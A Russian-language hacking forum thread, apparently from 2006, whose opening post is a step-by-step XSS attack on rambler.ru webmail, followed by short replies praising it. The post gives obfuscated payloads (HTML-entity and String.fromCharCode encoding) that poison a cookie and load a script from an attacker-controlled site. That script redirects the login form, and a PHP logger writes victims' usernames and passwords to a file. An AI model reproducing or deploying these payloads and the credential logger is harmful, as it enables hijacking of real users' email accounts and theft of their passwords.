Реализация XSS на rambler.ru

Discussion in 'Уязвимости Mail-сервисов' started by Майор, 17 Sep 2006.

  1. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    Итак существует 2 веб-интерфейса этой почтовой службы - старый и новый
    переключаются они между собой по ссылке
    http://mail.rambler.ru/mail/settings.cgi?mode=usetest
    (кстати именно со старого интерфейса можно отправлять письма в html формате )

    I ) Введение:
    • Средствами javascritp Cookies не получить , так как они устанавливаются с флагом httponly , т е сессию пользователя нам не получить.
    • На главной странице ( http://www.rambler.ru/ ) есть XSS уязвимость в переменной rlogin которая находиться в cookies.
      С помощью XSS мы изменяем этот параметр, делается это так:
      Code:
      document.cookie='rlogin=adress_jertvi"><script/src="http://nash_site.ru/r.js"></script><[email protected]; path=/; domain=.rambler.ru';


      далее нам надо перекинуть пользователя на страницу http://www.rambler.ru/ , но так чтобы он ничегь не заподозрил, поэтому мы меняем все ссылки на странице - на http://www.rambler.ru/
      Code:
      for(i=0;i<100;i++){if(document.links[i]){document.links[i].href="http://rambler.ru/";}}
      
      теперь щелкнув, например, на значок "Входящие" пользователь попадает на http://www.rambler.ru/ , со стороны это выглядит как потеря сессии - что бывает
    • В скрипте r.js
      пишем :

      Code:
      document.forms[1].action="http://nash_site/r.php";
      
      атрибут action формы куда пользователь вводит пароль меняеться на http://nash_site/r.php
    • r.php - это нащ скрипт который записывает пароль и логин в файл и перенаправляет пользователя к нему в ящик

      r.php :
      PHP:
      <?php

      $login 
      $_POST['login'];
      $passw $_POST['passw'];
      $date date("[D|d/m/Y|H:i]"); 
      $fp=fopen("r.html","a"); 
      fputs($fp,"
      <br>Логин: 
      $login
      <br>Пароль: 
      $passw
      <br>Дата: 
      $date
      <br>IP: 
      $REMOTE_ADDR
      <br>USER_AGENT: 
      $HTTP_USER_AGENT
      "
      ); 
      fclose($fp); 

      header("Location: http://mail.rambler.ru/script/auth.cgi?domain=rambler.ru&login=$login&passw=$passw");

      ?>

    II ) Реализация:
    • Старый интерфейс

      там много XSS-уязвимостей, возьмем например
      Code:
      <table background='&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert()'>
      
      кодируем наш JS скрипт в ASCII

      document.cookie='rlogin=serega104"><script/src="http://lamerdeath.h14.ru/r.js"></script><[email protected]; path=/; domain=.rambler.ru';for(i=0;i<100;i++){if(document.links){document.links.href="http://rambler.ru/";}}

      Получаем:
      Code:
      <table background='&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:&#100&#111&#99&#117&#109&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#61&#39&#114&#108&#111&#103&#105&#110&#61&#115&#101&#114&#101&#103&#97&#49&#48&#52&#34&#62&#60&#115&#99&#114&#105&#112&#116&#47&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#108&#97&#109&#101&#114&#100&#101&#97&#116&#104&#46&#104&#49&#52&#46&#114&#117&#47&#114&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#60&#101&#64&#114&#97&#109&#98&#108&#101&#114&#46&#114&#117&#59&#32&#112&#97&#116&#104&#61&#47&#59&#32&#100&#111&#109&#97&#105&#110&#61&#46&#114&#97&#109&#98&#108&#101&#114&#46&#114&#117&#39&#59&#102&#111&#114&#40&#105&#61&#48&#59&#105&#60&#49&#48&#48&#59&#105&#43&#43&#41&#123&#105&#102&#40&#100&#111&#99&#117&#109&#101&#110&#116&#46&#108&#105&#110&#107&#115&#91&#105&#93&#41&#123&#100&#111&#99&#117&#109&#101&#110&#116&#46&#108&#105&#110&#107&#115&#91&#105&#93&#46&#104&#114&#101&#102&#61&#34&#104&#116&#116&#112&#58&#47&#47&#114&#97&#109&#98&#108&#101&#114&#46&#114&#117&#47&#34&#59&#125&#125'>
      

      [*] Новый интерфейс

      Тут прикручен новый фильтр
      Смотрим как работает фильтр:
      Отправляем код
      <img g >
      смотрим во что превратил фильтр наш код:
      <img g="g">
      Вот она и XSS :

      <img alert();//onload src="http://ya.ru/logo.gif">

      фильтр превращает это в :

      <img alert();//onload="alert();//onload" src="http://images.rambler.ru/_.gif">

      что благополучно обрабатывается IE
      ( в Opere и Firefox XSS работать не будет, так как эти браузеры не признают слеш за разделитель атрибутов )

      так как & превращается в &amp; и другие управляющие символы кодируются прежде чем попадают в значение обработчика событий onload , то кодируем наш скрипт так :

      Code:
      <img width=1 height=1 eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,114,108,111,103,105,110,61,115,101,114,101,103,97,49,48,52,34,62,60,115,99,114,105,112,116,47,115,114,99,61,34,104,116,116,112,58,47,47,108,97,109,101,114,100,101,97,116,104,46,104,49,52,46,114,117,47,114,46,106,115,34,62,60,47,115,99,114,105,112,116,62,60,101,64,114,97,109,98,108,101,114,46,114,117,59,32,112,97,116,104,61,47,59,32,100,111,109,97,105,110,61,46,114,97,109,98,108,101,114,46,114,117,39,59,102,111,114,40,105,61,48,59,105,60,49,48,48,59,105,43,43,41,123,105,102,40,100,111,99,117,109,101,110,116,46,108,105,110,107,115,91,105,93,41,123,100,111,99,117,109,101,110,116,46,108,105,110,107,115,91,105,93,46,104,114,101,102,61,34,104,116,116,112,58,47,47,114,97,109,98,108,101,114,46,114,117,47,34,59,125,125));//onload src="http://ya.ru/logo.gif">
      
     
    #1 Майор, 17 Sep 2006
    Last edited by a moderator: 10 Mar 2007
    24 people like this.
  2. ZikZak

    ZikZak Elder - Старейшина

    Joined:
    27 Jul 2006
    Messages:
    218
    Likes Received:
    115
    Reputations:
    3
    Статья хорошая :)
    Майор с твоими мозгами ты должен быть уже с репутацией гуру )))) лови +
     
  3. _kREveDKo_

    _kREveDKo_ _kREveDKo_

    Joined:
    4 Dec 2005
    Messages:
    778
    Likes Received:
    620
    Reputations:
    1,040
    Жаль конечно что я с таким рвением искал в обоих движках активную хсс для закрытых разделов, а тут пришёл Майор и всё выложил... Понимаю, что скорее всего он даже не смотрел мои посты, но всёравно выходит обидно. Очень даже...
     
    #3 _kREveDKo_, 18 Sep 2006
    Last edited: 19 Sep 2006
    1 person likes this.
  4. PinkPanther

    PinkPanther [ розовый мафиозо ]

    Joined:
    16 Mar 2005
    Messages:
    280
    Likes Received:
    75
    Reputations:
    85
    Ну что я могу сказать дружище, ты как всегда на высоте!!
     
  5. -SMith-

    -SMith- Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    36
    Likes Received:
    23
    Reputations:
    -5
    Респект
     
  6. КИНГ

    КИНГ Elder - Старейшина

    Joined:
    13 Jun 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    Здорово
     
  7. limpompo

    limpompo Новичок

    Joined:
    27 Aug 2005
    Messages:
    1,402
    Likes Received:
    308
    Reputations:
    453
    Респект + тебе... Красиво и понятно...
     
  8. KoTeG

    KoTeG Banned

    Joined:
    29 Apr 2006
    Messages:
    198
    Likes Received:
    165
    Reputations:
    2
    Отличная статья , респект
     
  9. Muha

    Muha Elder - Старейшина

    Joined:
    21 Aug 2006
    Messages:
    58
    Likes Received:
    5
    Reputations:
    -3
    Респект. Хорошо объяснил